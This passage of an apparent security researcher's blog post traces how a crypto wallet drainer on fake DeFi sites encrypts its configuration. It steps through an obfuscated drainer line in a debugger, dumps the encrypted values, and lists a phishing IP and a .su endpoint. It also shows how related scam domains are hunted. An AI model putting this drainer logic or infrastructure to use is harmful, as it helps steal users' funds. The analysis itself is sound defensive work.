ivqOV3GRypk1XGMuGTZcsrfpoT3P5bt30BQ+hEqP+ic0kXZ2zE5FPC8asvJpJDRWz5dqgK+5YYSdKv4l8oNRCcbO2XWRVfQnOqkXqX8CLRwyG5VekiB8nP4ceyT/iAA62dV2yFiPqMKTp8SzLzYwvULj76qlyequDcY7+x09UddJJKsJny4EwfFVhYACHONSbkBNM+QkI9VAmS0xXkf5k4rqRymO5iZaDmg9496HVB5Wize8DvuvBfBPBRmba3P52isR1AL0HRhIDMIgkJPpF4NVnjjgi7Pt+T34PLAP2nTTfejrtA1Esa/xMEWvSmuwrY15GqPy4ZXugVcgsicjVNIcJM5u+znsgNJNWUfpPNYXkVD4Pxn+CtCtXdYJFVahY+cjruysjiuaoIzNdiOySrg9qyor+SquKFvPMwDOOPci4edyAdKvuLSY5ba0CIIp+jyi6rEmW46lecmOB9QaaBU6KW30TwWsxyGvu60SRCxNqv15ife2RLGKaAOnXuPcleU3QDT0nGGTHI1IQMmR6mETuEvfEPECx9/qZQPb3pcTzOSSCmkrdVptTGIND0SQDlVe3fnpdBOv1G3Peb8x6S6EUO6BN2ENF7HlHAPXGWrYJ/AOz3+MTgvh6+GCfgOdKQ1A1BwzUNJYdFzqHNVhiZ7qtqAWM/wOPVo2nY7/EZ4PgyjvQF67/XWeuz41J1W+iyD1ndgyrFYrGyErcyyQd7k9
Which decoded shows:
Salted__=
5í-«jW È_5¢Æh\X_k¡i$û& BdÖßÏN^ £ÒÊR<¿¼Dæ/ÕÈWCÜ?TDØòÿ¤b»ò¦H*ä+³Tú!Ðx éû|R:éõèÈG)à_û¹[þÛ@v%í£ãæUÖ«ÚÜÃÝ
äRá~¯@´\Æ¡/£Ff¡=ÿöÎÙÖ{Ê?öò=Y3O46ãe
2|ÕukïÁöü¸ß"÷*4ßVr`ïIy%ÇÖÇÉÇeïòaèè@޸㩢xm+uÀ=ºcH-ËQfmAON*0,¯°¤Kb¢·Ïÿ=«(Ƴ¦^²F«àô-_ Òçå¯ú{ÄQ5-;íiòMnKlò}þf`5u4Y.)æµMnzÐ*E¦Oç'}îÒuw©¶_~/ T5Jä;Á ÃË©5ÑâÉIJÕåó~æ/èÉHó}¡z+*ÓCä=È¡7&Bø·;sLxGÑJ®ÜÔ¿nÃhït>bµ£»ø' k¤·>ü9éæÈJËó6 >dº^ëÔ@=ÕúéUß·O~Ö¤·UÒRÏ[âÁîñ TáßÉéûfHÏ èͳ=Ðl`oÔíhyfç¼æjð¿}ì©á,
³õE×Úõ aÿø"RFx¾\ËãSJä:÷ÜïtñÈ×/,ä+× s=G¦K¢!"$+Èa²»&Ö+ÎHÅ»0ÊÖïóþØHFáñá»·×`"uáÙÕcX/â_í|Æh"ÀÍè+R-§ 8¸ø¥Ç§âªÙr%ºI£8s1AQÍÓó8Á¬úÚ/0ùýX>¦»ö(sF[×_Qú¢ÌjÌtMÇýÙEÑvca,"ñBïr´pÅ9j]S_CÄ@y¢ÆϦK÷´ Ëéó[RYikÃ3¡}ÌÐfu[k9=#ò Âuk; lçî½RÇJ#Ó¨(åSUÎpd£tÁ(JÇ˵±æN #ÖfÔ÷¹uøÊgÚ'zzÂûîa×̯åì±<³²)W"Z¹\#ÊÿïïI4Ó-x»blêkwVk_E¶KFa<)YzÒ®sܺAÌ1ñÏ5¨A*j1ĪÆÄñÛ«ðU¯Ç
ÎÂï¶2í·]¬n÷¬;JAÇxµ_/¨Ó9ÐÜÜ?éâ6uîÔÔ%ÅíP(à6hÞÞ<åÀ{'ÚàvI¾ÏF^÷ø0Lóø¤¶ic9Ä31`!|p£Q7wÿÏtÐWsKæ."h)~¯#ªeè Ð3Dxè
Nz=~ÜÕ@©ûù\R°Ìl}Hè-ñòø.,^Q®ß"m)öhÿPAPu~0h]5#f©© 'ÁÌÁ=åN&Ë á·PUVKÞ8¾0¼`ª×qp>öS5¥ ]#bÉìyOÈgDÙÒØ»¦.4ðókª¶-%sJ·î^ iõ²%ÿµ¥Í¹ ã¥Z&X:oåØ5í§Ë0Ka
®§Yo×É
Û7þLéÂ9ÏÌ[®r¡×1zÉ æ»©± a)Ãàò<IhðAt'>ohK¦¢Ë/Á6Tÿ^ÒðJJÐL«
fÄÈÕʪJ× e<[¹r§ÞOû¢%¿¹+s2/¨nÂ.¸LVbæFã´ôÐeBzx·1*Çuü_Õãûï¸$RËö ¿ÔúÝZ«ÓW.óATÙpG¬ÖÃ't 컳<Q£¦Ù;Ó¬/c«ÌTîÞÔ_Á]kÄêp3]Èõ0»à¢
Òòå!4{mú×"Xg3L3yªtùEj~ÙgÁ3×[ÅõJú9ªg¿93.
êºâDÄOdLRn)îVí_5<ºó§wÁ:À帾ãúîê*àÉÔnV'Çb«=3v8óQâ½g¥5ÛÇÚË°aíVÒ_>þØóë°·,Û¿êøÕ©Ó1GlpJúèàÐ_K<OTUäR2Vÿ¾PAÃd1Än(ôJïûÌ)ÅaX)ªw(Nz¸
Æï'~¯î!¼ 2ä9¨(x 7Öê]0/I®ç1T2ìè|¡s_´&#afùô©èù
® ½}"Çñ'ÊálO?§
n2*p6ù°²SW[¿+6átÙlü;ë (4Pdõªùð¤ÈØj£¡©o_Úó¸å_yªYsz8°JÏo»Åà¥äIãV¶BwÁªì¾
¬j½_ð+0ß*ÎLà°ÏÂ?r¶M7gã³+#;»ûZ»³l»54X!èpætÑz9ß:£Þ|0ö#}µös¶3¿Ü¤3ñùädaßuJ³?¸RWHr©5Q¡,@WÅÿê1/R
Yj1W.cc¦=Ô¾,$y
MÊÓV}>l!-È7Ps«1©õB¹Ê»¬Úá¿9ÇèÞp# ÃV¸y
dIuÁÆ\èJ·F´pжBcô°äA~=¾âŬ¨Vr]u$7ÇJþ¹|ß,]Á7|qËDÕÏlbÙÓ¶CçÇcðT
Æ'yV$JvR´Ð~¹ÜнÔ}Ö`ïªs*Þ§£ßãUI:éV½VïþÃË;64-Á½13Hêx´~ó+&0¶¥*ëNîÃôÃ|!4Á qO¨v¾Àõ¤VÖäQc{Ë©
¤Ýp2RÐu`nÆéàfNRÕâcE
öЧÜ~:P:|$ßIö,,ð8è¼ÿp,qNË«¹*M`x
·yêÜY)ΫþÞ¬_¨êfå}Cf{06*Ì·ÞÝ
2î¸/À{ØxkG|Î-¹'°¸fÕÁÏ
îMÿïò¥ühl;pðülÿ%3ùТ#¸åúQDÙXÕ¢÷j³Öì<ΨÂK±à@ßoè®<$H{¹V;5Ô¯ÙoÍÇÀlùiád>à¡j§¿êߺjùùNÓf~á hÍZ*»¼RáÇæ ¡ÍÑ>@uÏïnY¢²ÝEôf9'¹[iQÇ£¥t¬m7~7µ;µFA<#vq¦CíÖ,ªXÒ®èÜÌ {¡d¦¦´"ýøø`Ø£üà@¡+z¢uÕ6ÇO±o"Ot;RÓLåC½óÖ¯c±»¨¡g8_ó)oúÎ×MÆPoMç£%ͽÀ;v=eÑ`Ê»r7;åý»Ð
ÅtêÛé_wk1· ÐÒ¥g »Ñö-|R§gßA=qøZ½î/µÚvW'ð1¡ýôOÒTqG
#³ãÙ²ß`V·òîA®Éæ:=êy£FÔ¬>ºó<fVLË/{þÉÿ©ôuúGw±øà7*w/ժϢöqÇÔü?#§ nS}(æ])¢©y}çáX6ö9EÖrÎØùDÁí¬+ý·\ô£Ð±
ø©¡(7
²Á¯qî
yèÈxOõä^6LC5Æ}Q°µõ gDf?EÆQýOÊ´Oȵ!ú¤°òj90;Ô§O'`2ß 6úÄ:í»;ä%s7HuÅRöDïl`íâý{ TyÐÝíÉ||KkÖP¢
w¹ÝÙíÚtÂ2*)Ì`ܦüék<ÙFfåÑäÖ¸s=Õ¡bøqf¶ü1un¹Àa
íå½æ.;¤5òë#Çïx¾²Ó
ªv«4òèTG|2ñÒDÜÄnæýsÜwÖ¹ëkåÊ2"öè§j7Ò÷5Ïl^ÞfDVáJÂa¹
¨ç"ÔuÀx¨FJÄ×TÄ
òÒp2yt,_iBÁjòÅï~3+y³5JoZÇÄ]HÑLí»#ÏJ¯©D3°:»o+®qgúWqÊ5\c.6\²·é¡=Ïå»wÐ>Jú'4vvÌNE</²òi$4VÏj¯¹a*þ%òQ ÆÎÙuUô':©©-2^ |þ{$ÿ:ÙÕvÈX¨Â§Ä³/60½Bã瘟Éê®
Æ;û=Q×I$« .ÁñU
ãRn@M3ä$#Õ@-1^GùêG)æ&Zh=ãÞTV7¼û¯ðOksùÚ+ÔôH éU8à³íù=ø<°ÚtÓ}èë´
D±¯ñ0E¯Jk°y£òáîW ²'#TÒ$Înû9ìÒMYGé<ÖPø?þ
Ð]Ö V¡cç#®ì¬+ Ív#²J¸=«*+ù*®([Ï3Î8÷"áçrÒ¯¸´å¶´)ú<¢ê±&[¥yÉÔh:)môO¬Ç!¯»D,Mªýy÷¶D±h§^ãÜå7@4ôaH@Éêa¸KßñÇßêeÛÞÌä
i+uZmLb
DU^Ýùét¯ÔmÏy¿1é.Pî7a
±å×jØ'ðÏNáëá~)
@Ô3PÒXt\êÕaê¶ 3ü=Z6ÿ(ï@^»ýu»>5'U¾ õØ2¬V+!+s,w¹=
So, we know that we need to hook into the CryptoJS functions that are encrypting and decrypting this data so that we can dump them to the console (as done in the Medium article). He customized the deobfuscated code in order to do this, I'm hoping that it can just be done with breakpoints though (because I'm lazy).
For this I'm going to focus on where I think the magic is happening; around the CryptoJS functions. So I dropped a bunch of breakpoints and dove into it starting with this area:
As you can see, I'm currently stopped at the JSON keyword. Taking a look at the Chrome debugger, here is the current block object:
At this point Burp Suite hasn't intercepted anymore requests, so we know that we haven't hit the sweet spot yet and are still a-okay in terms of hunting the function and values we're after. Pushing further, there is a "return CryptoJS" at the very end. If we break there, our block values are now:
And both of the JSON blocks look like this:
Stepping through some more, it can be seen that this block is responsible for sending the POST request to "checker-api[.]su/config", so the above CryptoJS functions are responsible for creating that encrypted Base64-encoded POST body.
So, let's confirm what each of these CryptoJS functions does, line-by-line, starting with the first one. The Chrome debugger is super powerful and can help us MASSIVELY with this task. Just walking through this script has taught me a ton about a lot of features I didn't know existed. Here's the first line we'll look at:
, _0x1bdd6e = CryptoJS[_0x156120[_0x334db8(_0x170b8a._0x205aba, 0x5fb, 0x5ba, 'xT3G')](0x135f + -0x1 * -0x47 + -0xeae)][_0x156120['PMmNbY'](0x1034 + -0x1816 * 0x1 + 0x5 * 0x1c8)](_0x70bfdb[_0x156120['PMmNbY'](0x10de * -0x1 + 0x1d9f * -0x1 + -0x49 * -0xb3)], XJxk38E(_0x2d3341, _0x17994c, bQ7KBC = 0x43e + 0x2 * 0x27d + -0x8ff)[_0x156120['PMmNbY'](0x11e5 + -0x109b + 0x2c8)]())[_0x156120[_0x433524['USlZh']](-0x75 + 0x1 * 0x199b + -0x1514)]()
If you've already stepped past it, it should show a kind of mini-summary of the line laid out to the right of it as well:
_0x1bdd6e = "U2FsdGVkX1+IVgAVAcQtsZOoZu0Dp04pemYEc8Zd2g4=", _0x156120 = ['{"configId":"kTrSp","site":"http://185.196.9.29/?market=usdc-mainnet"}', PMmNbY: ƒ], _0x334db8 = ƒ _0x334db8(_0x281062,_0x5f2449,_0xe7c699,_0x11c12e), _0x2d3341 = 11629714188
Another cool feature of the Chrome debugger is being able to hover over variables that have already been assigned and being able to see their values. Hovering over "_0x70bfdb" should show that the configuration of the drainer is being fed into the CryptoJS function.
As a side note, make sure to keep an eye on the "Local" section when stepping through these functions. The "Block" is handy, but the relevant information being actively handled will be highlighted for you in the "Local" section of the debugger. It looks like this:
Partially through hunting and stepping through this code the site decided it didn't want to work anymore and wasn't able to reach the CryptoJS function reaching out to the other domain. I'm unsure if I'm getting blocked by the backend, or what exactly is going on, but it just keeps crashing, so I'll leave my CryptoJS adventures for a later time. Here are my notes on individual returns for one of the lines of code though:
// Having a -> means that there is a breakpoint present there that is active. Values are being returned. Comments below the -> are the values
// that are being returned.
_0x1bdd6e =
-> CryptoJS[_0x156120[
// "{"configId":"kTrSp","site":"http://185.196.9.29/?market=usdc-mainnet"}"
-> _0x334db8(_0x170b8a._0x205aba, 0x5fb, 0x5ba, 'xT3G')](
// "AES"
-> 0x135f + -0x1 * -0x47 + -0xeae)][_0x156120['PMmNbY'](
// "encrypt"
-> 0x1034 + -0x1816 * 0x1 + 0x5 * 0x1c8)](_0x70bfdb[_0x156120['PMmNbY'](
// "customerId"
-> 0x10de * -0x1 + 0x1d9f * -0x1 + -0x49 * -0xb3)],
// 11348586532
-> XJxk38E(_0x2d3341, _0x17994c, bQ7KBC = 0x43e + 0x2 * 0x27d + -0x8ff)[_0x156120['PMmNbY'](
// "toString"
-> 0x11e5 + -0x109b + 0x2c8)]
// big encryption object. contains e, r, t plus other default stuff. e: "11348586532", r: undefined, t: "4koocjZinX"
-> ())[_0x156120[_0x433524['USlZh']]
// "toString"
-> (-0x75 + 0x1 * 0x199b + -0x1514)]
// "U2FsdGVkX19XkbPlOIQ4s0iOQ0L+P4Dq/lzeb2MK85A="
-> ()
Alright, now remember that "Block" that I referenced earlier? Here are the dumped values from it in case anyone else wanted to continue exploring.
U2FsdGVkX19BlhQdsc1hwbMRHzGCxtBdfzXLxRvI0dE=
5728585724
1721828
1089177527
1721828inferno13683711765728585724
834326508
{"n1":5728585724,"n2":6683,"t":1721828,"s":"elM3b0NENkFDTlBRRWdqN25WNlF2VmZtag==","e":"U2FsdGVkX1+J3oOWyrJjPR38SN4idGM3FxktVY9dGAWV2wmJ74BcXLI9zq2c3Ks8I6AghxSgtfPZKumzZ2qV7NTyj3WZNaAOXoVoA9gax8uQFpSgEt5MqFzQ8K/263vWLkPqNO602X4wdnQV4KdkDsP5nBO33vqSlMgYzNTEOgjX3CgmxwJHiuPge1T6qTxM3gCdpuR3h3iS/S1W7LmPbA==","k":834326508,"i":"U2FsdGVkX19BlhQdsc1hwbMRHzGCxtBdfzXLxRvI0dE=","p":4148250595,"z":1090899355}
-1580328446
1368371176
6683
zS7oCD6ACNPQEgj7nV6QvVfmj
elM3b0NENkFDTlBRRWdqN25WNlF2VmZtag==
U2FsdGVkX1+J3oOWyrJjPR38SN4idGM3FxktVY9dGAWV2wmJ74BcXLI9zq2c3Ks8I6AghxSgtfPZKumzZ2qV7NTyj3WZNaAOXoVoA9gax8uQFpSgEt5MqFzQ8K/263vWLkPqNO602X4wdnQV4KdkDsP5nBO33vqSlMgYzNTEOgjX3CgmxwJHiuPge1T6qTxM3gCdpuR3h3iS/S1W7LmPbA==
Hunting for More
So, from previously looking we had a few other results that were related to each other through the shared ".su" domain and the use of a malicious JS drainer. Here are those URLScan links, including the fake Compound Finance site:
You'll notice on the two older ones from mid-June, that they named their drainer "main.js", where the Compound Finance site uses a UUID for the name of the script. Not a huge difference, but notable.
We're hunting for the most recent drainer though, so most of the things we'll be looking at will revolve around the Compound site, and the others may be used to double-check some things. They don't all share the same drainer script (obfuscated differently), so things like the hash of the JS file will be different and we want the most up-to-date information.
Clicking on the name of the JS file in URLScan will reveal other sites that have been scanned that contain the same JS file. At the top of the results there is another popular crypto-related site:
Was DYDX involved? Looks like it:
Navigating to the other site seen shows the same fake Compound Finance site, it appears as though the drainer operators didn't feel like changing their UUID:
Another way to search for more affected domains is to search via the hash of the JS file on URLScan. This helps when they are using a more "normal" name for the file, like "main.js":
Searching for the hash of the "main.js" file found on the older sites reveals a trove of scam sites:
And that's all for now! If I get some more free time I might delve deeper into infrastructure hunting on some newer samples.
Why is DNS Such a Big Deal?
As Daniel points out here, DNS is a huge deal because if an attacker controls your DNS records, they control the project's email. And what does a project's email control? If not properly segregated that email could control the Discord server, any VPS environments used by the dev team, social media accounts, and more. The risk increases as well if the accounts are not properly configured with 2FA. Password resets present an easy way to gain access to a majority of the project's and dev's accounts at this point if they all link back to being controlled via that account or accounts using that domain for email. The attackers could read and reset anything at that point.
If you enjoyed this or have any suggestions, feel free to reach out! Thanks for reading!!!